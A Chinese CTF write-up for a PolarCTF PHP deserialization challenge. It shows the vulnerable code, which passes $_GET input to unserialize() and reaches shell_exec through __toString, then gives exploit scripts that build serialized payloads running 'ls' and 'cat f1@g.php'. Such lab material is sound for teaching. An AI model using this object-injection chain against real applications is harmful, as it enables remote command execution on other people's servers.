【PolarCTF】PHP反序列化初试

复制代码
<?php
class Easy{
    public $name;
    public function __wakeup()
    {
        echo $this->name;
    }
}
class Evil{
    public $evil;
    private $env;
    public function __toString()
    {
        $this->env=shell_exec($this->evil);
        return $this->env;
    }
}

if(isset($_GET['easy'])){
    unserialize($_GET['easy']);
}else{
    highlight_file(__FILE__);
}

攻击路径

复制代码
1、控制$this->evil的内容

3、触发__toString方法

exp如下

复制代码
<?php
class Easy{
    public $name;
    public function __wakeup()
    {
        echo $this->name;
    }
    public function __construct()
    {
        $this->name = new Evil();
    }

}
class Evil{
    public $evil = 'ls';
    private $env;
    public function __toString()
    {
        $this->env=shell_exec($this->evil);
        return $this->env;
    }
}

$easy = new Easy();
echo urlencode(serialize($easy));
?>
复制代码
<?php
class Easy{
    public $name;
    public function __wakeup()
    {
        echo $this->name;
    }
    public function __construct()
    {
        $this->name = new Evil();
    }

}
class Evil{
    public $evil = 'cat f1@g.php';
    private $env;
    public function __toString()
    {
        $this->env=shell_exec($this->evil);
        return $this->env;
    }
}

$easy = new Easy();
echo urlencode(serialize($easy));
?>

得到flag

相关推荐
Chengbei116 小时前
一站式源码安全检测工具、云安全 / APP / 小程序源码敏感信息递归多层目录扫描AK、JWT、手机号、身份证等敏感信息
java·开发语言·安全·web安全·网络安全·系统安全·安全架构
谪星·阿凯15 小时前
后渗透痕迹清理实战指南
网络安全·后渗透清理
大方子15 小时前
【好靶场】他被什么加固了2?
网络安全·好靶场
大方子18 小时前
【好靶场】他被什么加固了1?
网络安全·好靶场
大方子19 小时前
【PolarCTF】upload1
网络安全·polarctf
大方子20 小时前
【PolarCTF】rapyiquan
网络安全·polarctf
锐速网络20 小时前
SaaS云防护:DDoS/CC/爬虫一站式解决方案
网络安全·云waf·ddos防护·企业网站防护·saas云防护·cc攻击防护·恶意爬虫拦截
Chockmans1 天前
春秋云境CVE-2020-21652(极速版)
计算机网络·安全·web安全·网络安全·安全威胁分析·春秋云境·cve-2020-21652
C2H5OH1 天前
PortSwigger SQL注入LAB10
网络安全
汤愈韬1 天前
IPSec工作原理——TK
网络·网络协议·网络安全·security